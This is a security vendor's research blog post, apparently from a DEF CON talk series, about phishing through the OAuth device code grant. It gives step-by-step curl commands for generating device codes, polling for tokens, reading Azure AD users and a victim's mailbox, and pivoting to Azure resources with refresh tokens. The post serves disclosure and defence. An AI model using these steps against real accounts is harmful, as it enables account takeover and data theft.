SASE Week 2023 On-Demand! Explore sessions.

  • Security Service Edge Products

    Protect against advanced and cloud-enabled threats and safeguard data across all vectors.

  • Borderless SD-WAN

    Confidently provide secure, high-performance access to every remote user, device, site, and cloud.

The platform of the future is Netskope

Intelligent Security Service Edge (SSE), Cloud Access Security Broker (CASB), Cloud Firewall, Next Generation Secure Web Gateway (SWG), and Private Access for ZTNA built natively into a single solution to help every business on its journey to Secure Access Service Edge (SASE) architecture.

Go to Products Overview
Netskope video
Borderless SD-WAN: Ushering in the New Era of Borderless Enterprise

Netskope Borderless SD-WAN offers an architecture that converges zero trust principles and assured application performance to provide unprecedented secure, high-performance connectivity for every site, cloud, remote user, and IoT device.

Read the article
Borderless SD-WAN
  • NewEdge

    NewEdge is the world’s largest, highest-performing security private cloud.

  • Cloud Security Platform

    Unrivaled visibility and real-time data and threat protection on the world's largest security private cloud.

  • Technology Partners & Integrations

    Netskope partners with the strongest companies in enterprise technology.

Embrace a Secure Access Service Edge (SASE) architecture

Netskope NewEdge is the world’s largest, highest-performing security private cloud and provides customers with unparalleled service coverage, performance and resilience.

Learn about NewEdge
Your Network of Tomorrow

Plan your path toward a faster, more secure, and more resilient network designed for the applications and users that you support.

Get the white paper
Your Network of Tomorrow
Netskope Cloud Exchange

The Netskope Cloud Exchange (CE) provides customers with powerful integration tools to leverage investments across their security posture.

Learn about Cloud Exchange
Netskope video
Make the move to market-leading cloud security services with minimal latency and high reliability.

Learn about NewEdge
Lighted highway through mountainside switchbacks
Safely enable the use of generative AI applications with application access control, real-time user coaching, and best-in-class data protection.

Learn how we secure generative AI use
Safely Enable ChatGPT and Generative AI
Zero trust solutions for SSE and SASE deployments

Learn about Zero Trust
Boat driving through open sea
Netskope enables a safe, cloud-smart, and fast journey to adopt cloud services, apps, and public cloud infrastructure.

Learn about Industry Solutions
Wind turbines along cliffside
  • Resources

    Learn more about how Netskope can help you secure your journey to the cloud.

  • Blog

    Learn how Netskope enables security and networking transformation through security service edge (SSE).

  • Events & Workshops

    Stay ahead of the latest security trends and connect with your peers.

  • Security Defined

    Everything you need to know in our cybersecurity encyclopedia.

Security Visionaries Podcast

Unveiling the Under-reported Aspects of AI
Emily Wearmouth sits down with Neil Thacker, EMEA CISO, Yihua Liao, Head of Netskope AI Labs, and Suzanne Oliver, Director of IP Strategy at Scintilla, to discuss the topics in the realm of AI that they each wish people were discussing more.

Play the podcast
Unveiling the Under-reported Aspects of AI Social card
Latest Blogs

How Netskope can enable the Zero Trust and SASE journey through security service edge (SSE) capabilities.

Read the blog
Sunrise and cloudy sky
SASE Week 2023: Your SASE journey starts now!

Replay sessions from the fourth annual SASE Week.

Explore sessions
SASE Week 2023
What is Security Service Edge?

Explore the security side of SASE, the future of network and protection in the cloud.

Learn about Security Service Edge
Four-way roundabout
  • Our Customers

    Netskope serves more than 2,000 customers worldwide including more than 25 of the Fortune 100

  • Customer Solutions

    We are here for you and with you every step of the way, ensuring your success with Netskope.

  • Netskope Community

    Learn from other network, data, and security professionals.

  • Training and Certification

    Netskope training will help you become a cloud security expert.

We help our customers to be Ready for Anything

See our Customers
Woman smiling with glasses looking out window
Netskope’s talented and experienced Professional Services team provides a prescriptive approach to your successful implementation.

Learn about Professional Services
Netskope Professional Services
The Netskope Community can help you and your team get more value out of products and practices.

Go to the Netskope Community
The Netskope Community
Secure your digital transformation journey and make the most of your cloud, web, and private applications with Netskope training.

Learn about Training and Certifications
Group of young professionals working
  • Company

    We help you stay ahead of cloud, data, and network security challenges.

  • Why Netskope

    Cloud transformation and work from anywhere have changed how security needs to work.

  • Leadership

    Our leadership team is fiercely committed to doing everything it takes to make our customers successful.

  • Partners

    We partner with security leaders to help you secure your journey to the cloud.

Supporting sustainability through data security

Netskope is proud to participate in Vision 2045: an initiative aimed to raise awareness on private industry’s role in sustainability.

Find out more
Supporting Sustainability Through Data Security
Highest in Execution. Furthest in Vision.

Netskope recognized as a Leader in the 2023 Gartner® Magic Quadrant™ for Security Service Edge.

Get the report
Netskope recognized as a Leader in the 2023 Gartner® Magic Quadrant™ for Security Service Edge.
Thinkers, builders, dreamers, innovators. Together, we deliver cutting-edge cloud security solutions to help our customers protect their data and people.

Meet our team
Group of hikers scaling a snowy mountain
Netskope’s partner-centric go-to-market strategy enables our partners to maximize their growth and profitability while transforming enterprise security.

Learn about Netskope Partners
Group of diverse young professionals smiling

New Phishing Attacks Exploiting OAuth Authorization Flows (Part 2)

Aug 10 2021

This blog series expands upon a presentation given at DEF CON 29 on August 7, 2021.

In Part 1 of this series, we provided an overview of OAuth 2.0 and two of its authorization flows, the authorization code grant and the device authorization grant.

Phishing attacks are starting to evolve from the old-school faking of login pages that harvest passwords to attacks that abuse widely-used identity systems such as Microsoft Azure Active Directory or Google Identity, both of which utilize the OAuth authorization protocol for granting permissions to third-party applications using your Microsoft or Google identity.

In the past few years, we have seen illicit grant attacks that use malicious OAuth applications created by attackers to trick a victim into granting the attacker wider permissions to the victim’s data or resources:

Instead of creating fake logins/websites, illicit grant attacks use the actual OAuth authentication/authorization flows in order to obtain the OAuth session tokens. This has the advantage of bypassing MFA authentication, with permanent or nearly indefinite access since the OAuth tokens can be continually refreshed in most cases.

In this blog series, we will review how various quirks in the implementation of different OAuth authorization flows can make it easier for attackers to phish victims due to:

  1. Attackers not needing to create infrastructure (e.g., no fake domains, websites, or applications), leading to easier and more hidden attacks
  2. An ability to easily reuse client ids of existing applications, obfuscating attacker actions in audit logs
  3. The use of default permissions (scopes), granting broad privileges to the attacker
  4. A lack of approval (consent) dialogs shown to the user
  5. An ability to obtain new access tokens with broader privileges and access, opening up lateral movement among services/APIs

Finally, we will discuss what users can do today to protect themselves from these potential new attacks.

In Part 2 of this blog series, we will look at how a phishing attack can be carried out by exploiting the device authorization grant flow.

Phishing using Device Authorization Grants

A phishing attack that exploits the OAuth device code authorization grant flow was described by Dr. Nestori Syynimaa in his blog, Introducing a new phishing technique for compromising Office 365 accounts

Below, we will explain the attack scenario in detail, how it can be carried out, the underlying protocol issues that lead to this exposure, and what can be done about it. 

When used in a phishing attack, the flow looks like this:

Diagram of OAuth 2.0 Device Code Authorization Phishing

Step 1: The user does not initiate anything (no login step). 

Step 2: The attacker initiates the attack by generating a user and device code. In the Microsoft device code flow implementation, well-known client application ids can be reused, such as Outlook’s id, and no other application authentication is required. No scopes need to be specified at this step either. The resource parameter specifies the API resources to be accessed, and the graph API is one of many that can be specified.

curl \
--data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
--data resource= \

Step 3: The user code (used by the user to verify themselves to the identity platform) and device codes (used by application or device to verify themselves) are returned along with the verification URL.

user_code : ELSEKDEZH
device_code : AAQBAAEAAAD--DLA3VO7QrddgJg7Wevri4xk7LwvoX90cGR…
expires_in : 900
interval : 5
message : To sign in, use a web browser to open the page and enter the code AGMKMPPLM to authenticate.

Step 4: The phish is delivered with content to trick the user into entering the user code when logging into the verification URL of the identity vendor.

Screenshot of example phishing email

Step 5: Upon following the link (official Microsoft login URL/domain), the user interaction looks like this:

  1. User authentication: User enters user code
Screenshot of user entering code
  1. User authentication: User enters username
Screenshot of user entering username
  1. User authentication: User enters password
Screenshot of user entering password
  1. User authentication: User enters MFA code
Screenshot of user entering MFA code
  1. User authorization: User is presented with a confirmation screen about the application, which is a different, existing application
Screenshot of user confirmation screen
  1. Confirmation message: Simple message is shown.
Screenshot of confirmation message

Step 6: The attacker in the background polls the identity system (authorization server), waiting for the user to complete authentication and authorization:

curl \
--data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
--data resource= \
--data grant_type=urn:ietf:params:oauth:grant-type:device_code \
--data code=AAQBAAEAAAD--DLA3VO7QrddgJg7Wevri4xk7LwvoX90cGR... \

The device code retrieved in step #3 is the value to the ”code” parameter. The client id and the resource remain the same. If the user has not authenticated/authorized, the above command will return with an HTTP error code of 40x with a variety of error messages. If the message reads “authorization_pending,” the attacker should keep polling with the interval returned in step #3.

Step 7: After the user authenticates and authorizes, the command in step #6 returns with an HTTP status of 200.

a) OAuth access and refresh tokens are returned in the response to the attacker:

token_type : Bearer
scope : AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite
Contacts.ReadWrite DataLossPreventionPolicy.Evaluate DeviceManagementConfiguration.Read.All De
viceManagementConfiguration.ReadWrite.All Directory.AccessAsUser.All Directory.Read.All Files.R
ead Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All Mail.ReadWrite Notes.
Create People.Read People.Read.All SensitiveInfoType.Detect SensitiveInfoType.Read.All Sensitiv
ityLabel.Evaluate User.Read.All User.ReadBasic.All User.ReadWrite Users.Read
expires_in : 8743
ext_expires_in : 8743
expires_on : 1627727759
not_before : 1627718715
resource :
access_token : eyJ0eXAiOiJKV1QiLCJub25jZSI6Ilc0dmxZTk1GbHFvdGVQck...
refresh_token : 0.AUYAAknJ93kbWUyXs2JQOrZOU9YOWdOzUgJBrv-q0ikqsBxG...
foci : 1
id_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhkMzU5MGVkN...

Note that a scope parameter is returned, even though it was not required or specified in previous steps. They reflect the default scopes (permissions) that apply to the Graph API for the application id used by the attacker (Outlook). The attacker has received a token with broad, default scopes within the Graph AP

b) With the access token, the attacker can now query the Graph API, enumerating Azure AD users:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJub25jZSI6Ilc0dmx…" \

businessPhones: [],
displayName: David Marcon,
givenName: David,
jobTitle: null,
mail: [email protected],
mobilePhone: null,
officeLocation: null,
preferredLanguage: null,
surname: Marcon,
userPrincipalName: [email protected],

businessPhones: [ 6505551212 ],
displayName: Ed Van,
givenName: Ed,
jobTitle: null,
mail: [email protected],
mobilePhone: null,
officeLocation: null,
preferredLanguage: null,
surname: Van,
userPrincipalName: [email protected],


c) The attacker can also access the victim’s email inbox:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJub25jZSI6Ilc0dmx…" \,from,receivedDateTime&=25&=receivedDateTime%20DESC

createdDateTime: 2021-07-31T08:39:20Z,
lastModifiedDateTime: 2021-07-31T08:39:21Z,
categories: [],
receivedDateTime: 2021-07-31T08:39:20Z,
sentDateTime: 2021-07-31T08:39:17Z,
hasAttachments: false,
internetMessageId: <[email protected]>,
subject: Thank you from the Microsoft Outlook 365 Team!,
bodyPreview: Thank you!\r\n\r\nFor being a loyal Microsoft customer, we are permanently
increasing your Outlook attachment/file storage by 1 TB. Additionally, the maximum attachment size has been increased to 100 MB.\r\n\r\nTo receive your increase:\r\n\r\n 1. Go to our secure ,
importance: normal,
conversationId: OCRkAGMzOTNmY2M4LTlhYjQtNGM4Yy05Y2Q4LWVmOTRmNDVmOTliZABQAGSVy-Mk2htH...,
conversationIndex: BQIYhfeOZJXL8yTaG0eh9gF1dUWBcw==,
isDeliveryReceiptRequested: null,
isReadReceiptRequested: false,
isRead: false,
isDraft: false,


Step 8: With Microsoft’s implementation of device code flow, one can also change resources from the Graph API to other resources such as the Azure API.

a) The attacker can use the refresh token to obtain a new access token for Azure:

curl \
--data refresh_token=0.AUYAAknJ93kbWUyXs2JQOrZOU9YOWdOzUgJBrv-q0i... \
--data scope=openid \
--data resource= \
--data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
--data grant_type=refresh_token \

token_type : Bearer
scope : user_impersonation
expires_in : 7437
ext_expires_in : 7437
expires_on : 1627728690
not_before : 1627720952
resource :
access_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im5Pb...
refresh_token : 0.AUYAAknJ93kbWUyXs2JQOrZOU9YOWdOzUgJBrv-q0ikqsBx...
foci : 1
id_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdWQiOiJkM...


Note that in the request, we did not need to supply any new information. The scope is passed in but is a very limited ”openid” scope. Our response gives us an access_token with user_impersonation, which means full privileges of the user on the resource. No secrets were required either. The lateral movement from Graph API access to Azure API access was fairly straightforward.

b) The new OAuth access token can now be used to access the Azure environment:

List subscriptions:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1N..." \

"id": "/subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02",
"authorizationSource": "RoleBased",
"managedByTenants": [],
"subscriptionId": "4af98c72-439c-20e2-f4c8-1d5cbcf77f02",
"tenantId": "e9d82132-9c21-3d49-793c-31803ba46f20",
"displayName": "Azure subscription 1",


and access all resources in a subscription, including the blobs in a storage account/container:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1N..." \

[1] Resource: disks/redhat-vm_OsDisk_1_4XXXXXXXXXXXXXXXXXXX7a9dce8ZZZZc
name: redhat-vm_OsDisk_1_4XXXXXXXXXXXXXXXXXXX7a9dce8ZZZZc
type: Microsoft.Compute/disks
id: /subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resourceGroups/prod-rg/providers/Microsoft.Compute/disks/redhat-vm_OsDisk_1_4XXXXXXXXXXXXXXXXXXX7a9dce8ZZZZc

[9] Resource: storageAccounts/storageAcct1
name: storageAcct1
type: Microsoft.Storage/storageAccounts
id: /subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resourceGroups/prod-rg/providers/Microsoft.Storage/storageAccounts/storageAcct1

[a]: containers/storageContainer1
name: storageContainer1
type: Microsoft.Storage/storageAccounts/blobServices/containers
id: /subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resourceGroups/prod-rg/providers/Microsoft.Storage/storageAccounts/storageAcct1/blobServices/default/containers/storageContainer1


<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint=""

Et tu, Google?

Given the standardization and popularity of OAuth, you might be wondering if other OAuth providers have similar risks. When we look at Google, an attacker can perform a similar phish using device code authentication with much of the same benefits to the attacker:

  • No infrastructure needed: An attacker does not need to create an OAuth application or any website/domain infrastructure.
  • Application reuse: An attacker can use existing application ids, leading to some level of stealth/obfuscation.
  • Weak application authentication: Authentication of the existing application id is straightforward with easily obtained secrets.
  • No consent: Consent dialogs are not presented to the user for scopes such as ”openid,” ”profile”, and ”” With other scopes, consent dialogs are presented.

 However, the overall exposure of the user is limited because:

  • Limited scopes: The attacker does not receive broad default scopes as they do with Microsoft. There are only a limited set of well-documented scopes, which need to be explicitly requested in the initial step when creating an authorization code (device code).
  • No lateral movement: The attacker cannot pivot and gain access to new tokens that have different scopes and access to other services.


We have seen how the device code grant flow provides attackers more opportunities to target victims with phishing attacks. This stems from a couple of factors that underlie this flow:

  • The device code can be generated by the attacker as opposed to the authorization code in other flows which is generated by the identity system and passed back to the attacker. This makes it easy for an attacker to start the attack.
  • Existing client ids can be reused easily by the attacker, making this attack more stealthy as it appears to be real or valid applications the user is interacting with.
  • In Microsoft’s implementation of this flow, the attacker can easily pivot to different services with broad scopes, moving laterally within the Microsoft applications the victim has access to.

In Part 3, we will explore what security controls can be put in place to defend against these new attacks.

author image
Jenko Hwong
Jenko has 15+ years of experience in research, product management, and engineering in cloud security, AV/AS, routers/appliances, threat intel, Windows security, vulnerability scanning and compliance. At Netskope, he researches new cloud attacks.

Stay informed!

Subscribe for the latest from the Netskope Blog